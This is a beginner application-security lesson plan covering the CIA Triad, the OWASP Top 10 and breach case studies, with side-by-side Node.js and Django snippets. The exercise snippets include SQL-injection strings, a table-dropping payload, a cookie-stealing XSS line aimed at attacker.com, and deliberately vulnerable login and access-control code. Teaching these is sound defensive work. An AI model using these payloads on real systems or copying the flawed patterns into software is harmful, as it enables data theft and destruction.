

REFACTORY ACADEMY · APPLICATION SECURITY MODULE · DAY 1 OF 5

Introduction to Application Security

What security is, why it matters, and how to start thinking like an attacker

JAVASCRIPT / NODE + PYTHON /
DJANGO TRACKS

OAS Bay Project · 2-Hour Class · Beginner Level · Week 1

Today's 2-Hour Class

0:00 - 0:25 Theory	0:25 - 0:55 Activity	0:55 - 1:35 Practical	1:35 - 2:00 Review
<i>CIA Triad & Why Security Matters</i>	<i>OWASP Top 10 + Case Studies</i>	<i>Spot the Vulnerability</i>	<i>Discussion + Day 2 Preview</i>

Learning Objectives

By the end of today's class, you will be able to:

- Explain, in plain language, what the CIA Triad is and give one real example of each part
- List all 10 OWASP Top 10 vulnerabilities and describe each one in a sentence
- Spot at least 3 security vulnerabilities in a JavaScript/Node.js or Python/Django code snippet
- Explain why security has to be built in from day one, not added at the end

Opening Hook: The Uber Breach (2022)

An 18-year-old hacker sent an Uber employee a WhatsApp message pretending to be from Uber IT: "Hi, this is Uber security. We've detected suspicious activity on your account. Please approve this login request."

The tired employee approved it. The hacker was inside Uber's entire internal system within minutes. They found admin credentials sitting in plain text on an internal wiki page.

Result: Access to Slack, AWS, Google Workspace, HackerOne, financial systems, and source code.

Lesson: Social engineering plus poor credential management equals a catastrophic breach. Two basic security failures, zero technical exploit needed. Security is not about complex algorithms, it's about not making obvious mistakes.

1. What Is Application Security?

Definition: Application Security (AppSec) is the practice of finding, fixing, and preventing vulnerabilities in software, starting from the moment you write the first line of code, through deployment, all the way to ongoing maintenance.

Why It Matters: The Cost of Fixing a Bug at Different Stages

Stage	Cost to Fix	Example
During design	UGX 3,600	Caught in a code review before writing any code
During development	UGX 36,000	A linter or peer review flags it
During testing	UGX 360,000	A security test finds it before launch
After production	UGX 3,600,000+	Patching, lawsuits, user notification
After a breach	Billions, or business closure	Equifax: fined the equivalent of UGX 2 trillion

Key Point: Security is NOT a phase you tack on at the end. It is a mindset you carry through the whole development process. This habit has a name: Shift Left Security, meaning you push security thinking as early ('left', on a project timeline) as possible.

2. The CIA Triad - Foundation of All Security

Every security decision, in every system you will ever build, maps back to one or more of these three principles.



Confidentiality	Integrity	Availability
<i>Only the right people see the right data.</i> — <i>A customer's national ID and payment details captured during a service booking should never be visible to a general technician.</i>	<i>Data is accurate and has not been tampered with.</i> — <i>The price of an engine oil change at OAS Bay should only change if an authorised senior technician updates it.</i>	<i>Systems work when users need them.</i> — <i>If someone floods OAS Bay's booking system with fake requests, the senior technician can't check parts stock or issue receipts.</i>

Quick Test - Which CIA Principle Was Violated?

- A hacker reads every customer's national ID number from the OAS Bay database -> Confidentiality
- A hacker changes the price of engine oil to UGX 0 -> Integrity
- The OAS Bay booking system goes down because of a DDoS attack -> Availability
- Someone intercepts a login form and changes the username being submitted -> Integrity + Confidentiality

3. OWASP Top 10 (2021) - Applied to OAS Bay

What is OWASP? OWASP (Open Web Application Security Project) is a nonprofit that publishes the world's most referenced list of web security risks. Almost every major company uses this list as their baseline security checklist.

Code	Vulnerability	OAS Bay Example
A01	Broken Access Control	A technician can open /admin/reports directly because the backend never checks their role.
A02	Cryptographic Failures	Supplier passwords or customer national ID numbers are stored as plain text in the database.
A03	Injection	Text typed into the parts search bar is pasted straight into a SQL query (SQL Injection), or shown on the page via innerHTML (XSS).
A04	Insecure Design	The service payment/refund endpoint was built with no authentication requirement at all.
A05	Security Misconfiguration	Error messages reveal database structure, and default credentials are left on the server.
A06	Outdated Components	An old npm package (Node.js) or PyPI package (Django) used in the booking module has a known, published exploit.
A07	Auth Failures	No logout after repeated failed logins, and sessions aren't invalidated when a technician logs out.
A08	Integrity Failures	The booking script auto-updates from an unverified CDN, with no check that the file hasn't been tampered with.
A09	Logging Failures	Nobody is alerted when a technician deletes 50 parts records in one minute.
A10	SSRF	OAS Bay fetches a supplier's URL based on user input, so an attacker can point it at an internal service instead.

Deep Dive Schedule: A03 Injection -> Day 2 | XSS (A03) -> Day 3 | A07 Auth Failures & A02 Cryptographic Failures -> Day 4

4. Real-World Breaches

Equifax (2017) - 147 Million People Affected

Hackers exploited a known vulnerability in Apache Struts. A security patch had been available for 2 months. Equifax simply hadn't applied it.

- OWASP: A06, Vulnerable & Outdated Components
- OAS Bay lesson: always run npm audit or pip audit, and don't ignore dependency warnings.

Facebook (2018) - 50 Million Accounts

A bug in the "View As" feature generated access tokens incorrectly. The tokens never expired, so attackers could take over accounts.

- OWASP: A07, Authentication Failures + A01, Broken Access Control
- OAS Bay lesson: service booking and payment sessions must expire, and authentication logic must be thoroughly tested.

British Airways (2018) - 500,000 Customers

Hackers injected a malicious script into the payment page that silently sent customer payment details to an attacker-controlled server, for 2 weeks before anyone noticed.

- OWASP: A03, Injection (XSS) + A09, No Monitoring
- OAS Bay lesson: receipt and payment pages are high-value targets. We cover XSS in full on Day 3. BA was fined GBP 20 million.

5. Practical: Spot the Vulnerability

No server needs to be running for this section. Read each snippet, find the security problem, and identify which OWASP category it falls under. All examples use the OAS Bay context, and each is shown in both JavaScript/Node.js and Python/Django, so both tracks work through the same vulnerability side by side.

Snippet 1 - Technician Login Check

JAVASCRIPT / NODE.JS

```
// Frontend login - this IS the entire security check
function login(username, password) {
  if (username === 'admin' && password === 'admin123') {
    document.cookie = 'loggedIn=true'; // anyone can set this!
    window.location.href = '/dashboard.html';
  }
}
// Problem: hardcoded creds in client JS, no server ever checks anything
```

PYTHON / DJANGO

```
# views.py
def login_view(request):
    username = request.POST.get('username')
    password = request.POST.get('password')
    if username == 'admin' and password == 'admin123':
        request.session['loggedIn'] = True # no hashing, no lockout, no MFA
        return redirect('dashboard')
    return HttpResponse('Invalid credentials')
```

VULNERABLE Credentials are hardcoded and compared as plain text, with no rate limiting or account lockout. The JavaScript version does the whole check in the browser, so anyone can bypass it from DevTools.

OWASP: *A07, Authentication Failures* + *A02, Cryptographic Failures*

Snippet 2 - Parts Search (SQL Injection)

JAVASCRIPT / NODE.JS

```
const term = document.getElementById('parts-search').value;
fetch('/api/parts?name=' + term).then(r => r.json()).then(renderParts);

// Server query (Node.js):
db.query("SELECT * FROM parts WHERE name = '" + term + "'");

// Attack: term = "" OR '1'='1" -> returns ALL parts, including cost prices
// Attack: term = "; DROP TABLE parts; --" -> deletes the whole parts table
```

PYTHON / DJANGO

```
# views.py (vulnerable: raw SQL built with string concatenation)
term = request.GET.get('name')
query = "SELECT * FROM parts WHERE name = '" + term + "'"
```

```

cursor.execute(query)

# Attack: term = "" OR '1'='1" -> returns ALL parts, including cost prices
# Attack: term = ""; DROP TABLE parts; --" -> deletes the whole parts table

# Safe version: let the Django ORM parameterise the query for you
parts = Parts.objects.filter(name__icontains=term)

```

VULNERABLE User input is pasted directly into a database query. Whoever controls that input controls the query.

FIX Use parameterised queries or an ORM (Sequelize, Django ORM) that never lets user input become SQL syntax.

OWASP: *A03, Injection (SQL Injection), full coverage Day 2*

Snippet 3 - Displaying Supplier Notes (XSS)

```

JAVASCRIPT / NODE.JS

function renderNote(note) {
  document.getElementById('notes').innerHTML = note.text; // DANGEROUS
}
// Attacker saves as a supplier note:
// <script>document.location='https://attacker.com?c='+document.cookie</script>

// Secure fix: textContent never executes scripts
function renderNoteSafe(note) {
  document.getElementById('notes').textContent = note.text; // SAFE
}

```

```

PYTHON / DJANGO

{# templates/note.html - DANGEROUS: 'safe' disables Django's autoescaping #}
<div>{{ note_text|safe }}</div>

{# Attacker saves as a supplier note: #}
{# <script>document.location='https://attacker.com?c='+document.cookie</script> #}

{# Secure fix: let Django autoescape by default, never add |safe to user input #}
<div>{{ note_text }}</div>

```

VULNERABLE innerHTML in JavaScript and the |safe filter in Django templates both render raw HTML and will execute any script tag inside it.

FIX Use textContent in JavaScript, and rely on Django's default autoescaping in templates. Never disable it for user-entered content.

OWASP: *A03, Injection (XSS), full coverage Day 3*

Snippet 4 - Storing Sensitive Data Client-Side

JAVASCRIPT / NODE.JS

```
localStorage.setItem('user', JSON.stringify({
  id: user.id,
  role: user.role,
  password: user.password,          // NEVER store this client-side
  outstandingBalance: user.balance  // NEVER store financial data here
}));
// localStorage is readable by ANY JavaScript running on the page.
// One XSS attack = attacker reads everything instantly.
```

PYTHON / DJANGO

```
# DANGEROUS: writing sensitive data into a client-readable cookie
response.set_cookie('user', json.dumps({
  'id': user.id,
  'role': user.role,
  'password': user.password,          # NEVER put this in a cookie
  'outstanding_balance': user.balance, # NEVER put financial data here
}))
# A plain cookie (no httponly flag) is readable by page JavaScript,
# and visible to anyone with access to the browser or network traffic.
```

VULNERABLE Passwords and financial data end up somewhere that client-side JavaScript, or anyone with browser access, can read. A single XSS bug exposes all of it.

OWASP: *A02, Cryptographic Failures* + *A01, Broken Access Control*

Snippet 5 - Hiding a Button Is Not Access Control

JAVASCRIPT / NODE.JS

```
<button id='deleteBtn' style='display:none'>Delete All Parts</button>
<script>
const user = JSON.parse(localStorage.getItem('user'));
if (user.role === 'admin') deleteBtn.style.display = 'block';
deleteBtn.addEventListener('click', () => {
  fetch('/api/admin/delete-all-parts', { method: 'DELETE' });
  // API never checks whether the caller is actually an admin!
});
</script>
```

PYTHON / DJANGO

```
# views.py - the unprotected endpoint being called
def delete_all_parts(request):
    Parts.objects.all().delete() # No check that request.user is really an admin!
    return JsonResponse({}, status=204)

# Secure version - ALWAYS check on the server
@login_required
def delete_all_parts_safe(request):
    if request.user.role != 'admin':
        return JsonResponse({'error': 'Access denied'}, status=403)
    Parts.objects.all().delete()
```



```
return JsonResponse({}, status=204)
```

VULNERABLE Hiding a button is a UI decision, not security. Any technician can open DevTools and click it anyway, or call the API directly with Postman. The server never checks who is calling.

FIX Always enforce access control on the server. Every protected route must check the caller's role, whether that's `req.user.role` in Node.js or `request.user.role` in Django.

OWASP: *A01, Broken Access Control*

6. Think Like an Attacker - STRIDE on OAS Bay

When you build any feature for OAS Bay, run it through these six questions:

Threat	OAS Bay Question
S - Spoofing	Can a technician's request pretend to be the Senior Technician or Manager?
T - Tampering	Can someone change a service price or a parts quantity they shouldn't be able to?
R - Repudiation	Can a technician deny performing or charging for a service if there's no audit log?
I - Info Disclosure	Can a front-desk cashier see supplier credit terms or customer national ID numbers?
D - Denial of Service	Can someone flood the booking endpoint and block everyone else from using it?
E - Elevation of Privilege	Can a technician reach the Accounts or Admin report pages?

STRIDE Applied: OAS Bay - Service Booking

Feature: a frontend submits { carId, serviceType, technicianId, litresUsed } to the server to record a completed service.

- Tampering: a technician submits litresUsed = 1 when 4 litres of engine oil were actually used. Fix: always verify parts stock server-side before confirming a service is complete.
- Elevation of Privilege: a technician calls /api/admin/supplier-credit directly. Fix: check the caller's role on every server route, not just in the UI.
- Denial of Service: 10,000 fake booking requests arrive per second. Fix: add rate limiting on the booking endpoint.

7. Discussion Questions

Q1. OAS Bay stores every user's password as plain text. Which CIA principle is most at risk, and which OWASP category covers this?

Q2. A technician visits /reports?id=42. How could they change this URL to see another branch's financial report? Which OWASP category covers this?

Q3. A developer says: "OAS Bay is a small service bay, no hacker will bother us." Write 3 arguments to convince them otherwise.

Q4. Code Review Challenge - how many security problems can you spot in the snippet below?

JAVASCRIPT / NODE.JS

```
const username = req.body.username;
const password = req.body.password;
const q = "SELECT * FROM users WHERE username='" + username
+ "' AND password='" + password + "'";
db.query(q, (err, result) => {
  if (result.length > 0) {
    res.cookie('user', JSON.stringify(result[0])); // includes password hash!
    res.redirect('/dashboard');
  }
});
```

Key Takeaways - Day 1

- The CIA Triad (Confidentiality, Integrity, Availability) is the foundation of all security thinking
- Security bugs get exponentially more expensive to fix the later you catch them
- The OWASP Top 10 is the industry-standard checklist every developer should know
- Real breaches happen to big companies too, nobody is too small to be a target
- Never trust the client: validation, access control, and business logic must all live on the server
- innerHTML and Django's |safe filter are dangerous with user data, prefer textContent and default autoescaping
- Security is not a feature you bolt on at the end, it's a habit you build from day one

Prepare for Day 2 - Injection Attacks

Tomorrow we go deep on SQL Injection and input validation, using the OAS Bay database.

- Read the OWASP page for A03:2021 Injection (15 minutes, just the overview)
- Think about this: if a user types ' OR '1'='1 into the OAS Bay login form, what happens, and why?
- Optional: visit owasp.org and read any 3 of the Top 10 descriptions

Day 2 Preview: We will write actual SQL injection attacks against a local OAS Bay test database, then write the parameterised-query defences in both Node.js and Django. We'll also look at how the parts registration and supplier credit forms can be exploited.

"The best time to think about security is before you write the code."